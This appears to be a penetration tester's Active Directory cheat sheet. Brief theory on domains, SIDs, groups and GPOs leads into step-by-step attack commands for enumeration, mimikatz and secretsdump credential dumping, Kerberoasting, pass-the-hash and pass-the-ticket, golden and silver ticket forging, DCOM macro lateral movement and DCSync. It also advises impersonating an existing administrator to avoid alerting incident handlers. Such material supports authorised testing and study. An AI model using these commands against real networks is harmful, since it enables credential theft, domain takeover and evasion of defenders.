Active Directory
Theory
Concepts
Active Directory Directory Services (ADDS), commonly known as Active Directory, serves the purpose of furnishing an expandable and centralized framework for IT management, as well as authentication and authorization.
Active Directory is structured around a top-level domain, such as demo.com
, often aligned with a company's name. The highest-tier component within Active Directory is termed a Forest, which operates autonomously, delivering all essential services. Within the Forest, it's also possible to incorporate subdomains like sub.demo.com
as part of Domains nested under it.
The core entity within Active Directory is the Domain Controller (DC), responsible for housing pertinent Forest information and providing crucial authentication and authorization functions. Additionally, it encompasses core and innate management services.
To ensure data and service redundancy, a Forest encompasses multiple Domain Controllers. These Domain Controllers engage in the replication of Active Directory data amongst themselves, enabling each to undertake most services independently.
Alongside Domain Controllers, Active Directory encompasses an array of Windows servers and Windows clients, often referred to as domain-joined devices. Domain Controllers host services catering to both authentication and authorization for computers and the services they run. While Linux systems can also be part of a domain, this practice is not as widespread and doesn't offer equivalent management capabilities.
The main network protocol used to facilitate both authentication and authorization in Active Directory is Kerberos.
While the Kerberos protocol handles both authentication and authorization, Lightweight Directory Access Protocol (LDAP) is very commonly used to interact with Domain Controllers to submit or retrieve data.
Users
Everything inside Active Directory is stored as objects. This also includes the major elements such as users and computers.
To ensure a unique naming convention for all objects, Active Directory assigns all objects a Security Identifier or SID which has the following structure: S-R-I-S
Letter | Description |
---|---|
S | A literal "S" to identify the string as a SID |
R | Revision Level (usually set to "1") |
I | Identifier-authority value (often "5" within AD) |
S | One or more subauthority values |
S-1-5-21-2536614415-3629634762-1218571035-1116
In the example above, 21-2536614415-3629634762-1218571035
is the domain's numeric identifier and 1116
is the RID, or relative identifier, representing the specific object in the domain.
All data is stored either directly at the Forest level or inside an Organizational Unit (OU). The structure of objects and OUs in Active Directory can be compared to files and folders on a file system.
Groups
Active Directory handles access permissions through group memberships, instead of access rights directly on each user account. This is done to ensure a dynamic and scalable approach that can quickly and easily be modified when the need arises.
In Active Directory, two major types of groups exist:
- Distribution groups, which are only used to define email lists and do not have any access rights or permission abilities.
- Security groups, which are used for exactly that, access rights or permission abilities.
There are a couple of default security groups worth explaining here:
- Enterprise Admins: Members of this group have full control of all domains in the forest.
- Domain Admins: Members of this group have full control of the domain.
- Domain Users: All domain users who are present in the domain.
Any member of the Enterprise Admins group is also a domain administrator of any other domain in the Forest.
The notion of group membership inside group membership is called nested groups and is very commonly used in Active Directory. The power of nested groups is its flexibility, as any user or group can be dynamically added or removed from a group to provide the desired access. One of the drawbacks of nested groups is their lack of transparency. It can be very hard to view the so-called effective group memberships directly in the graphical user interface.
Group Policy Objects
As part of managing an IT infrastructure, it is important to have the ability to configure settings for applications and operating systems dynamically, regardless of network size.
Active Directory provides a solution for managing many settings through Group Policy Objects also called GPOs. GPOs are a native component of Windows, and two main versions exist. The first is local GPOs and the second version is the ones configured through Active Directory.
A GPO is a series of XML files that contain settings and configurations for a multitude of applications and options in Windows. When a GPO is created it is stored in the SMB path \\<domain controller host name>\sysvol
, in our case \\dc01\sysvol
. All members of the Authenticated Users, Domain Users, and Domain Computers group have read permissions to SYSVOL.
When a GPO is created, it is linked to either the domain or an OU. GPOs cannot be linked to folders, which is why system administrators always create numerous custom OUs.
In the GPO editor, we find two main categories:
- Computer Configuration handles the settings configured by the GPO and applies them to all computer objects in an OU.
- User Configuration applies to all user objects in an OU.
There is a huge number of possible GPO settings, additionally, most Microsoft applications also come with installable GPOs, such as Microsoft Word, Exchange, or SharePoint. Many third-party applications also have developed GPOs that can be imported.
When a GPO is created it must be applied to the user or computer objects it is linked to, but since it is possible to have multiple GPOs with conflicting settings in child OUs, a priority system is required. GPOs are processed in the following order:
- Local
- Domain
- OU (parent, then child)
The GPO which is applied last will be the effective one.
GPOs in Active Directory work by each domain-joined computer, asking for updates from the Domain Controller every 90 minutes. It is also possible to force an update from a domain-joined computer by executing the command gpupdate /force
.
A domain joined computer in an enterprise will be affected by many GPOs, which means the effective settings can be hard to predict. Luckily, the native command gpresult /H outfile.html
generates an HTML file containing the final settings for the specific computer it is executed on.
Resources
-
Wikis & Cheat Sheets
- S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
- Attacking Active Directory: 0 to 0.9
- RistBS/Awesome-RedTeam-Cheatsheet
- Cas van Cooten Windows & Active Directory Exploitation Cheat Sheet and Command Reference
- A cheatsheet with commands that can be used to perform kerberos attacks
- Red Teaming Active Directory
- Alternative ways to Pass the Hash (PtH)
- HackTricks Active Directory Methodology
- Kerberos (II): How to attack Kerberos?
- WADComs
-
~/tools/mimikatz/x64/mimikatz.exe
~/tools/mimikatz/Win32/mimikatz.exe
~/tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe
Enumeration
Manual
Traditional Approach
- Show all local accounts:
net user
- Show all users in the domain:
net user /domain
- Get details about a specific user:
net user USERNAME /domain
- Show all groups in the domain:
net group /domain
- Unfortunately, the net.exe command line tool cannot list nested groups and only shows the direct user members.
A Modern Approach
-
This script will query the network for the name of the Primary domain controller emulator and the domain, search Active Directory and filter the output to display user accounts, and then clean up the output for readability.
-
Our script will center around a very specific LDAP provider path, which looks like this:
LDAP://HostName[:PortNumber][/DistinguishedName]
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() $PDC = ($domainObj.PdcRoleOwner).Name $SearchString = "LDAP://" $SearchString += $PDC + "/" $DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))" $SearchString += $DistinguishedName $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString) $objDomain = New-Object System.DirectoryServices.DirectoryEntry $Searcher.SearchRoot = $objDomain $Searcher.filter="samAccountType=805306368" $Result = $Searcher.FindAll() Foreach($obj in $Result) { Foreach($prop in $obj.Properties) { $prop } Write-Host "------------------------" }
This script is flexible and should be modified, especial the filter (e.g.: $Searcher.filter="name=USERNAME"
to filter for a specific user)
Resolving Nested Groups
-
Get all groups:
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() $PDC = ($domainObj.PdcRoleOwner).Name $SearchString = "LDAP://" $SearchString += $PDC + "/" $DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))" $SearchString += $DistinguishedName $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString) $objDomain = New-Object System.DirectoryServices.DirectoryEntry $Searcher.SearchRoot = $objDomain $Searcher.filter="(objectClass=Group)" $Result = $Searcher.FindAll() Foreach($obj in $Result) { $obj.Properties.name }
-
Get all members (including groups) of the
Secret_Group
:$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() $PDC = ($domainObj.PdcRoleOwner).Name $SearchString = "LDAP://" $SearchString += $PDC + "/" $DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))" $SearchString += $DistinguishedName $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString) $objDomain = New-Object System.DirectoryServices.DirectoryEntry $Searcher.SearchRoot = $objDomain $Searcher.filter="(name=Secret_Group)" $Result = $Searcher.FindAll() Foreach($obj in $Result) { $obj.Properties.member }
- Now iteratively replace
Secret_Group
with the nested group names to uncover the underlying users
- Now iteratively replace
Currently Logged on Users
- Goal: Find logged-in users that are members of high-value groups since their credentials will be cached in memory and we could steal the credentials and authenticate with them.
- We must tailor our enumeration to consider not only Domain Admins but also potential avenues of "chained compromise" including a hunt for a so-called derivative local admin
- Get logged on users
-
Interact with the target to detect this directly using
NetWkstaUserEnum
(requires local admin) -
Track a user's active logon sessions on a domain controller or file server using
NetSessionEnum
(doesn't require local admin) -
During an assessment, after compromising a domain machine, we should enumerate every computer in the domain using and then use NetWkstaUserEnum against the obtained list of targets.
-
Alternatively we could focus our efforts on discovering the domain controllers and any potential file servers (based on servers hostnames or open ports) in the network and use NetSessionEnum against these servers in order to enumerate all active users' sessions.
-
Calling an operating system API from PowerShell is not completely straightforward. Fortunately, there is a tool: PowerView
- Import PowerView:
Import-Module .\PowerView.ps1
- Enumerate logged on users of the target machine:
Get-NetLoggedon -ComputerName client251
client251
is our local Windows 10 client which we've already compromised
- Enumerate active sessions on a DC:
Get-NetSession -ComputerName dc01
- Import PowerView:
-
Enumeration Through Service Principal Names
- An alternative to attacking a domain user account is to target so-called service accounts, which may also be members of high value groups.
- If a user launches an application, that user account defines the context. However, services launched by the system itself use the context based on a Service Account:
- LocalSystem
- LocalService
- NetworkService
- But for more complex applications, a domain user account may be used to provide the needed context while still having access to resources inside the domain.
- When applications like Exchange, SQL, or Internet Information Services (IIS) are integrated into Active Directory, a unique service instance identifier known as a Service Principal Name (SPN) is used to associate a service on a specific server to a service account in Active Directory
- If a user launches an application, that user account defines the context. However, services launched by the system itself use the context based on a Service Account:
- By enumerating all registered SPNs in the domain, we can obtain the IP address and port number of applications running on servers integrated with the target Active Directory, limiting the need for a broad port scan.
-
For example lets change our script to search for web servers:
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() $PDC = ($domainObj.PdcRoleOwner).Name $SearchString = "LDAP://" $SearchString += $PDC + "/" $DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))" $SearchString += $DistinguishedName $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString) $objDomain = New-Object System.DirectoryServices.DirectoryEntry $Searcher.SearchRoot = $objDomain $Searcher.filter="serviceprincipalname=*http*" $Result = $Searcher.FindAll() Foreach($obj in $Result) { Foreach($prop in $obj.Properties) { $prop } }
-
Check the serviceprincipalname
for the FQDN of the webserver
While Microsoft has not documented a list of searchable SPN's there are extensive lists available online adsecurity.org
ADRecon
- File Transfer Techniques
~/tools/ADRecon.ps1 ADRecon.ps1
- Execute once to get all the csv files:
.\ADRecon.ps1
- Execute another time to get the nice html files:
.\ADRecon.ps1 -OutputType HTML
BloodHound
- Install and Setup
- Data Collection
- Execute one of the SharpHound's from
~/tools/BloodHound/Collectors
.\SharpHound.exe -c All
- Remote:
bloodhound.py -u '{USER}' -p '{PASSWORD}' -d {DOMAIN} -v --zip -c All -ns {DC-IP}
- Execute one of the SharpHound's from
- Clean the Database
- Top left corner Hamburger icon > Database Info > Scroll down > Clear Database
- Execute
- Start Neo4j:
sudo neo4j console
- Start BloodHound:
bloodhound
- Drag and drop the zip into the BloodHound GUI
- Start Neo4j:
Privilege Escalation & Lateral Movement
Credential Harvesting
.\lazagne.exe all -oN
Hash/Ticket Extraction
Hashes
For AD instances at a functional level of Windows 2003, NTLM is the only available hashing algorithm. For instances running Windows Server 2008 or later, both NTLM and SHA-1 (a common companion for AES encryption) may be available.
On older operating systems like Windows 7, or operating systems that have it manually set, WDigest, will be enabled. When WDigest is enabled, running Mimikatz will reveal cleartext password alongside the password hashes.
.\mimikatz.exe
privilege::debug
token::elevate
sekurlsa::logonpasswords
lsadump::lsa /patch
lsadump::lsa /inject
lsadump::sam
- One liner:
.\mimikatz.exe "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"
python secretsdump.py
- If you can access the server from kali
python secretsdump.py 'DOMAIN.TLD'/'USERNAME':'PASSWORD'@'IP'
- If not
- Save them manually:
reg save HKLM\sam sam
reg save HKLM\system system
reg save HKLM\security security
- Extract locally:
python secretsdump.py -sam sam -security security -system system LOCAL
- Save them manually:
- If you can access the server from kali
Ticket Granting Tickets (TGT) Ticket Granting Service (TGS)
Stealing a TGS would allow us to access only particular resources associated with those tickets. On the other side, armed with a TGT ticket, we could request a TGS for specific resources we want to target within the domain.
.\mimikatz.exe "privilege::debug" "token::elevate" "sekurlsa::tickets /export"
- Rubeus
- Elevate to SYSTEM:
.\PsExec.exe -accepteula -i -s powershell.exe
(if desired) - List all tickets:
.\Rubeus.exe triage
- Dump all tickets:
.\Rubeus.exe dump /nowrap
- Interesting one by luid:
.\Rubeus.exe dump /service:krbtgt /luid:<luid> /nowrap
- Write to File:
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<BASE64_TICKET>"))
- Elevate to SYSTEM:
Service Tickets (ST)
We know that when the user wants to access a resource hosted by a SPN, the client requests a service ticket that is generated by the domain controller. The service ticket is then decrypted and validated by the application server, since it is encrypted through the password hash of the SPN.
When requesting the service ticket from the domain controller, no checks are performed on whether the user has any permissions to access the service hosted by the service principal name. These checks are performed as a second step only when connecting to the service itself. This means that if we know the SPN we want to target, we can request a service ticket for it from the domain controller. Then, since it is our own ticket, we can extract it from local memory and save it to disk.
- Requesting a Service Ticket (if not already present)
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList 'HTTP/WebServer.corp.com'
- Extracting the ticket
- mimikatz
.\mimikatz.exe "privilege::debug" "token::elevate" "kerberos::list /export"
- Rubeus
- Elevate to SYSTEM:
.\PsExec.exe -accepteula -i -s powershell.exe
- Extract:
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast /dc:DC.DOMAIN.TLD /domain:DOAMIN.TLD
- Elevate to SYSTEM:
- mimikatz
NTLM Cracking
- Extract the hash
- Crack the Hashes#Windows
Kerberoast
- Harvest the TGT or ST
.\mimikatz.exe "privilege::debug" "token::elevate" "kerberos::list /export"
- Rubeus
.\PsExec.exe -accepteula -i -s powershell.exe
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast /dc:DC01.corp.com /domain:corp.com
- Crack the Hashes#Windows
- Verify:
New-Object System.DirectoryServices.DirectoryEntry($SearchString, "USERNAME", "PASSWORD")
ASREPRoast
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.asreproast [/user:username]
- Crack the Hashes#Windows
Pass the Hash (PTH)
Since the 2014 security update, this technique can only be used to authenticate as a local administrator account, because the technique requires access to the special admin share called Admin$
, which in turn requires local administrative rights on the target machine.
whoami
will NOT show you the impersonated user!
.\mimikatz.exe "privilege::debug" "token::elevate"
sekurlsa::pth /user:Administrator /domain:domain.tld /ntlm:NTLMhash /run:powershell.exe
dir \\dc01.domain.tld\C$
- pth-toolkit
pth-winexe -U Administrator%aad3b435b51404eeaad3b435b51404ee:NTLMhash //IP cmd.exe
- CrackMapExec
- Verify the hash:
crackmapexec smb IP -u Administrator -H NTLMhash -d DOMAIN.TLD
- Verify the hash:
- impacket
secretsdump.py DOMAIN.TLD/Administrator@IP -hashes aad3b435b51404eeaad3b435b51404ee:NTLMhash
smbexec.py DOMAIN.TLD/Administrator@IP -hashes aad3b435b51404eeaad3b435b51404ee:NTLMhash
psexec.py DOMAIN.TLD/Administrator@IP -hashes aad3b435b51404eeaad3b435b51404ee:NTLMhash
wmiexec.py DOMAIN.TLD/Administrator@IP -hashes aad3b435b51404eeaad3b435b51404ee:NTLMhash
dcomexec.py DOMAIN.TLD/Administrator@IP -hashes aad3b435b51404eeaad3b435b51404ee:NTLMhash
- evil-winrm
evil-winrm -i IP -u Administrator -H NTLMhash
- xfreerdp
crackmapexec smb IP -u Administrator -H NTLMhash -d DOMAIN.TLD -x 'reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f'
xfreerdp /v:IP /u:Administrator /pth:NTLMhash
Overpass the Hash (OTH) / Pass the Key (PTK)
Since the 2014 security update, this technique can only be used to authenticate as a local administrator account, because the technique requires access to the special admin share called Admin$
, which in turn requires local administrative rights on the target machine.
We can only use the TGT on the machine it was created for!
- mimikatz
- Collect the NTLM hash:
.\mimikatz.exe "privilege::debug" "token::elevate" "sekurlsa::logonpasswords"
- Pass the Hash:
sekurlsa::pth /user:USERNAME /domain:DOMAIN.TLD /ntlm:NTLMhash /run:PowerShell.exe
- Verify that no Kerberos tickets have been cached:
klist
- Generate a TGT by authenticating to a network share on the domain controller:
net use \\dc01
- Check the Kerberos tickets again:
klist
(now you should see a TGT and TGS for the CIFS service) - Use the TGT to get a shell on the DC:
.\PsExec.exe \\dc01 cmd.exe
- Collect the NTLM hash:
- Rubeus
- Collect the NTLM hash:
.\mimikatz.exe "privilege::debug" "token::elevate" "sekurlsa::logonpasswords"
- Pass the Hash:
.\Rubeus.exe asktgt /domain:DOMAIN.TLD /user:USERNAME /rc4:NTLMhash /ptt
- Verify that no Kerberos tickets have been cached:
klist
- Use the TGT to get a shell on the DC:
.\PsExec.exe -accepteula \\dc01 cmd
- Collect the NTLM hash:
Pass the Ticket (PTT)
For PTT you NEED hostnames, accessing IPs won't work!
The Pass the Ticket attack takes advantage of the TGS, which may be exported and re-injected elsewhere on the network and then used to authenticate to a specific service. In addition, if the service tickets belong to the current user, then no administrative privileges are required.
Local
- Harvest the ticket
- Passing the ticket
- Windows
.\mimikatz.exe "kerberos::ptt <ticket_kirbi_file>" "misc::cmd"
.\Rubeus.exe ptt /ticket:<ticket_kirbi_file>
- Using the ticket:
.\PsExec.exe -accepteula \\<remote_hostname.domain.tld> cmd
- Linux
- File Transfer Techniques
- To convert tickets between Linux/Windows format:
python ticketConverter.py ticket.kirbi ticket.ccache
export KRB5CCNAME=/home/kali/tools/impacket/examples/ticket.ccache
- Using the ticket
python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
- Windows
- Verifying a successful attack
- List the tickets in cache:
klist
- List the tickets in cache:
Remote
If you want to do this attack from remote aka. from your kali attack machine you need to do a couple of setup steps:
-
Install the kerberos package
-
Configure the AD realm
-
Get DNS working properly
-
Sync time
-
impacket
- Collection
python getTGT.py -dc-ip DCIP DOMAIN.TLD/USERNAME@REMOTE_HOSTNAME -hashes aad3b435b51404eeaad3b435b51404ee:NTLMhash
python getTGT.py -dc-ip DCIP DOMAIN.TLD/USERNAME@REMOTE_HOSTNAME -aesKey AESkey
- Config:
export KRB5CCNAME=PATH_TO_CCACHE_FILE
- Usage
psexec.py DOMAIN.TLD/USERNAME@REMOTE_HOSTNAME.DOMAIN.TLD -k -no-pass
smbexec.py DOMAIN.TLD/USERNAME@REMOTE_HOSTNAME.DOMAIN.TLD -k -no-pass
wmiexec.py DOMAIN.TLD/USERNAME@REMOTE_HOSTNAME.DOMAIN.TLD -k -no-pass
dcomexec.py DOMAIN.TLD/USERNAME@REMOTE_HOSTNAME.DOMAIN.TLD -k -no-pass
- Collection
Ticket Forging
For Golden and Silver tickets, it's important to remember that, by default, ticker and mimkatz forge tickets containing PACs that say the user belongs to some well-known administrators groups (i.e. group ids 513, 512, 520, 518, 519). There are scenarios where these groups are not enough (special machines where even Domain Admins don't have local admin rights).
In these situations, testers can specify all the groups ids when creating the ticket. However, deny ACEs could actually prevent this from working. Encountering a Deny ACE preventing domain admins to log on could be an issue when having all groups ids in the ticket, including the domain admin group id. This solution can also be really inconvenient in domains that have lots of groups.
Another solution to this is to look for a specific user with appropriate rights to impersonate and use GoldenCopy to generate a command that allows to forge a ticket with specific values corresponding to the target user (sid, group ids, etc.). The values are gathered from a neo4j database.
When forging tickets, before November 2021 updates, the user-id and groups-ids were useful but the username supplied was mostly useless. As of Nov. 2021 updates, if the username supplied doesn't exist in Active Directory, the ticket gets rejected. This also applies to Silver Tickets.
To get the Domain SID use whoami /user
, in the example below the SID is S-1-5-21-1375711201-1277040102-1320212398
:
PS C:\Users\admin\Downloads> whoami /user
USER INFORMATION
----------------
User Name SID
=============== ==============================================
client251\admin S-1-5-21-1375711201-1277040102-1320212398-1001
PS C:\Users\admin\Downloads>
Silver Ticket
To create a silver ticket, we use the password hash and not the cleartext password. If a Kerberos session presented us with the cleartext password, we must hash it before using it to generate a silver ticket.
The NT hash (when the RC4 etype is not disabled, or any other Kerberos DES or AES key when it is) of a service account can be used to forge a Service ticket that can later be used with Pass the Ticket to access that service. In practice, the key is used to encrypt, among other things, the PAC (Privilege Authentication Certificate), a special set of information about the requesting user that the target service will decrypt and read to decide if the user can have access.
Remembering the inner workings of the Kerberos authentication, the application on the server executing in the context of the service account checks the user's permissions from the group memberships included in the service ticket. The user and group permissions in the service ticket are NOT verified by the application though. The application blindly trusts the integrity of the service ticket since it is encrypted with a password hash - in theory - only known to the service account and the domain controller.
- Create the ticket:
.\mimikatz.exe "privilege::debug" "token::elevate"
- with an NT hash:
kerberos::golden /domain:$DOMAIN /sid:$DomainSID /rc4:$krbtgt_NThash /user:$username_to_impersonate /target:$targetFQDN /service:$spn_type
- with an AES 128 key:
kerberos::golden /domain:$DOMAIN /sid:$DomainSID /aes128:$krbtgt_aes128_key /user:$username_to_impersonate /target:$targetFQDN /service:$spn_type
- with an AES 256 key:
kerberos::golden /domain:$DOMAIN /sid:$DomainSID /aes256:$krbtgt_aes256_key /user:$username_to_impersonate /target:$targetFQDN /service:$spn_type
- with an NT hash:
- Pass the Ticket (or just append
/ptt
to the commands above)
Now that we have this ticket loaded into memory, we can interact with the service and gain access to any information based on the group memberships we put in the silver ticket. Depending on the type of service, it might also be possible to obtain code execution.
Golden Ticket
Note that by creating our own TGT and then using PsExec, we are performing the overpass the hash attack by leveraging Kerberos authentication. If we were to connect using PsExec to the IP address of the domain controller instead of the hostname, we would instead force the use of NTLM authentication and access would still be blocked.
The use of a non-existent username may alert incident handlers if they are reviewing access logs. In order to reduce suspicion, consider using the name and ID of an existing system administrator.
The NT hash (when the RC4 etype is not disabled, or any other Kerberos DES or AES key when it is) of the special account krbtgt
can be used to forge a special TGT (Ticket Granting Ticket) that can later be used with Pass the Ticket to access any resource within the AD domain. In practice, the krbtgt
's key is used to encrypt, among other things, the PAC (Privilege Authentication Certificate), a special set of information about the requesting user that the KDC (Key Distribution Center) will copy/paste in the ST the users requests.
In order to craft a golden ticket, testers need to find the krbtgt
's RC4 key (i.e. NT hash) or AES key (128 or 256 bits). In most cases, this can only be achieved with domain admin privileges through a DCSync attack. Because of this, golden tickets only allow lateral movement and not privilege escalation.
- Extract the Hash (e.g.:
lsadump::lsa /patch
) - Create the ticket:
.\mimikatz.exe "privilege::debug" "token::elevate"
- with an NT hash:
kerberos::golden /domain:$DOMAIN /sid:$DomainSID /rc4:$krbtgt_NThash /user:randomuser
- with an AES 128 key:
kerberos::golden /domain:$DOMAIN /sid:$DomainSID /aes128:$krbtgt_aes128_key /user:randomuser
- with an AES 256 key:
kerberos::golden /domain:$DOMAIN /sid:$DomainSID /aes256:$krbtgt_aes256_key /user:randomuser
- with an NT hash:
- Pass the Ticket (or just append
/ptt
to the commands above) - Use the ticket to for example psexec into the DC:
.\PsExec.exe -accepteula \\DC01 cmd
- Verify with:
whoami /groups
Creating the golden ticket and injecting it into memory does not require any administrative privileges, and can even be performed from a computer that is not joined to the domain. We'll take the hash and continue the procedure from a compromised workstation.
Distributed Component Object Model (DCOM)
This attack requires access to both TCP 135 for DCOM and TCP 445 for SMB (likely only possible with a local admin on the remote machine). As well as a Microsoft Office installation on the target.
DCOM objects related to Microsoft Office allow lateral movement, both through the use of Outlook as well as PowerPoint. Since this requires the presence of Microsoft Office on the target computer, this lateral movement technique is best leveraged against workstations.
- Check if the
Run
method is present:
$com = [activator]::CreateInstanceGetTypeFromProgId("Excel.Application", "$IP")
$com | Get-Member | findstr "Run"
- Create a Malicious Microsoft Word Macro
- Run the following script:
$com = [activator]::CreateInstanceGetTypeFromProgId("Excel.Application", "$IP")
$LocalPath = "C:\path\to\local\Book1.xls"
$RemotePath = "\\$IP\c$\Book1.xls"
[System.IO.File]::Copy($LocalPath, $RemotePath, $True)
$Path = "\\$IP\c$\Windows\sysWOW64\config\systemprofile\Desktop"
$temp = [system.io.directory]::createDirectory($Path)
$Workbook = $com.Workbooks.Open("C:\Book1.xls")
$com.Run("MyMacro")
More examples can be found here: Invoke-DCOM.ps1
Domain Controller Synchronization (DCSync)
In production environments, domains typically have more than one domain controller to provide redundancy. The Directory Replication Service Remote Protocol uses replication to synchronize these redundant domain controllers. A domain controller may request an update for a specific object, like an account, with the IDL_DRSGetNCChanges API.
The domain controller receiving a request for an update does not verify that the request came from a known domain controller, but only that the associated SID has appropriate privileges. If we attempt to issue a rogue update request to a domain controller from a user who is a member of the Domain Admins group, it will succeed.
Using the technique above, we can request a replication update with a domain controller and obtain the password hashes of every account in Active Directory without ever logging in to the domain controller.
- Check which users are in the Domain Admins group:
net group "Domain Admins" /dom
- Authenticate as one of them (e.g.: with Pass the Hash, Overpass the Hash, Pass the Ticket, etc.)
- Attack using
.\mimikatz.exe
- Do NOT
token::elevate
, you need to use the Domain Admin user not the SYSTEM user! - Get everything in a short and readable format:
.\mimikatz.exe "lsadump::dcsync /dc:$DomainController /domain:$DOMAIN /all /csv"
- Get a single user:
.\mimikatz.exe "lsadump::dcsync /dc:$DomainController /domain:$DOMAIN /user:krbtgt"
- Do NOT
Relevant Note(s):